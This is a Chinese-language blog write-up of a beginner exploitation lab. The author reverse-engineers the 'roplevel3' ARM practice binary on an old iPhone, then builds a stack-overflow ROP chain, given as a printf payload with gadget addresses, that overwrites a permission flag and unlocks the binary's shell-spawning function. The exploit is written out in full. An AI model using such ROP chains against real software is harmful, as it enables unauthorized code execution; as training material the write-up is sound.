junh00🌈

ROP Exploit实验 2

前言

本实验较上一篇,漏洞利用的根本原理没变,只是流程复杂了点。本实验使用的是一个不开源的程序,可以在这里下载。环境依然是iOS 7.0.1的iPhone4。

窥探程序

先直接运行下这个程序看下它做了些什么:

Jins:~/Code root# ./roplevel3
Welcome to ROPLevel3 by @bellis1000

0Select an option:
[1] Function
[2] Function (internal)
[3] Exit
1

Hello world! Welcome to a function - an function that does absolutely nothing!

Select an option:
[1] Function
[2] Function (internal)
[3] Exit
2

You do not have permission to launch this function.

Select an option:
[1] Function
[2] Function (internal)
[3] Exit
3
Jins:~/Code root#

程序有三个选项,1只是输出一句欢迎语,2是一个内部功能(internal),选择后告诉我没有权限执行这个函数。我们的目的就是要使用这个”需要权限”的函数。

没有源码那我们打开Hopper载入这个程序看下。

载入完成选择CFG MODE(Control Flow Graphic)看下流程图。程序整体是由一个while循环控制着输入输出。 左下角有这么一块: IMG

这里有调用scanf函数,下面还有一句bl _validate,应该是一个校验函数,双击进入这段函数的执行流程。我截取了主要的一块:

IMG

主要流程就是比较输入的字符串,loc_bc4c这块会和字符串2比较,如果相等,则会把0xc0300xbf2d的值作比较,双击这两个地址可以看到存储的值都是0。0xc030 地址保存的是一个常量名为_internal_mode,程序执行时是会打印这个值的:

Jins:~/Code root# ./roplevel3
Welcome to ROPLevel3 by @bellis1000

0Select an option:
...

Select an option:前面有个0。_internal_mode和0比较结果相等后就会打印You do not have permission to launch this function.

有种方法就是直接修改程序,将_internal_mode的值改成非0,但这不是本文的目的,我们的目的是要在运行时修改掉其中一个值,来绕过字符串的判断。

在左边栏的函数中我们还可以看到这个程序的作者准备了两个必须的工具函数:gadgetwrite_anywhere。这两个函数的指令如下:

IMG

思路

程序已经大致了解了一遍,scanf函数仍然是我们用来构造栈溢出的函数。假设我们想在运行时修改_internal_mode的值,如何修改,write_anywhere似乎能帮上忙,它有一行代码可以对r1地址的值进行赋值:

0000bce0         str        r0, [r1]

那么r0r1的值如何被赋予我们想要的内容。巧了么这不是,gadget函数就能做到:

0000bcec         pop        {r0, r1, pc}

有了这些条件,我们先理一下期望的执行流程:输入字符串后,执行gadget函数,将栈上三个4字节的数据分别弹入r0 r1 pc,然后再调用write_anywhere函数,将r0的值赋给r1保存的地址中的值。 最后我们还需要回到main函数,因为之前的步骤只是修改了某个值,最后我们只有输入2后才会进入内部函数。

所以最终的字符串样式应该是: 任意字符串+gadget地址+非零值+internal_mode地址+write_anywhere地址+任意字符串+main函数地址

Exploit

好,开始构造我们的字符串。 第一个步骤还是一样的,输入一个固定格式的字符串,看看崩溃日志该从哪里下手。

Welcome to ROPLevel3 by @bellis1000

0Select an option:
[1] Function
[2] Function (internal)
[3] Exit
AAAABBBBCCCCDDDDEEEEFFFFGGGG

Invalid choice.

Segmentation fault: 11

...
...

Unknown thread crashed with ARM Thread State (32-bit):
    r0: 0x00000000    r1: 0x00000400      r2: 0x00000500      r3: 0x00002860
    r4: 0x00000000    r5: 0x00000000      r6: 0x00000000      r7: 0x45454545
    r8: 0x27dff8a0    r9: 0x00000001     r10: 0x00000000     r11: 0x00000000
    ip: 0x3d834c98    sp: 0x27dff8a0      lr: 0x0000bcc8      pc: 0x46464644
  cpsr: 0x20000010

PC的值被改成了FFFF

几个关键函数的地址你可以在Hopper里看到这些函数地址,也可以通过GDB来查看。

(gdb) disas gadget
Dump of assembler code for function gadget:
0x0000bcec <gadget+0>:  03 80 bd e8                   pop	{r0, r1, pc}
0x0000bcf0 <gadget+4>:  1e ff 2f e1                   bx	lr
End of assembler dump.
(gdb) disas write_anywhere
Dump of assembler code for function write_anywhere:
0x0000bcdc <write_anywhere+0>:  05 60 a0 e1                   mov	r6, r5
0x0000bce0 <write_anywhere+4>:  00 00 81 e5                   str	r0, [r1]
0x0000bce4 <write_anywhere+8>:  80 80 bd e8                   pop	{r7, pc}
0x0000bce8 <write_anywhere+12>:  1e ff 2f e1                   bx	lr
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x0000bcf4 <main+0>:  80 40 2d e9                   push	{r7, lr}

注意write_anywhere 函数中的第一条指令是我们用不到的,所以第二条指令地址才用于我们的字符串。

最终字符串就应该是:

AAAABBBBCCCCDDDDEEEE\xec\xbc\x00\x00AAAA\x30\xc0\x00\x00\xe0\xbc\x00\x00AAAA\xf4\xbc\x00\x00

将它灌入程序试下先:

Jins:~/Code root# printf "AAAABBBBCCCCDDDDEEEE\xec\xbc\x00\x00AAAA\x30\xc0\x00\x00\xe0\xbc\x00\x00AAAA\xf4\xbc\x00\x00" | ./roplevel3

程序貌似进入死循环了,一直在输出相同的内容:

Select an option:
[1] Function
[2] Function (internal)
[3] Exit

Invalid choice.

Select an option:
[1] Function
[2] Function (internal)
[3] Exit

Invalid choice.

...
...

这里需要用到一个小技巧,使用cat命令后面不带参数,来中断输入,并等待用户输入。

Jins:~/Code root# (printf "AAAABBBBCCCCDDDDEEEE\xec\xbc\x00\x00AAAA\x30\xc0\x00\x00\xe0\xbc\x00\x00AAAA\xf4\xbc\x00\x00"; cat) | ./roplevel3
Welcome to ROPLevel3 by @bellis1000

0Select an option:
[1] Function
[2] Function (internal)
[3] Exit
1

Invalid choice.

Welcome to ROPLevel3 by @bellis1000

AAAASelect an option:
[1] Function
[2] Function (internal)
[3] Exit

可以看到已经internal_mode变成AAAA了,我们选择2试试:

2

Welcome to a more interesting function with developer-only functionality ;P
What would you like to do?
[1] Touch a file
[2] Spawn a shell
[3] Quit function

进入内部的函数了,按1会在/下生成一个created_by_roplevel3文件,2则可以让你执行shell命令。

IMG ls命令执行成功!

总结

实验是比较简单的,分享出来,希望能给和我一样的新手一点启发吧。以上。

参考: 《Beginner’s Guide to Exploitation on ARM》 作者:@bellis1000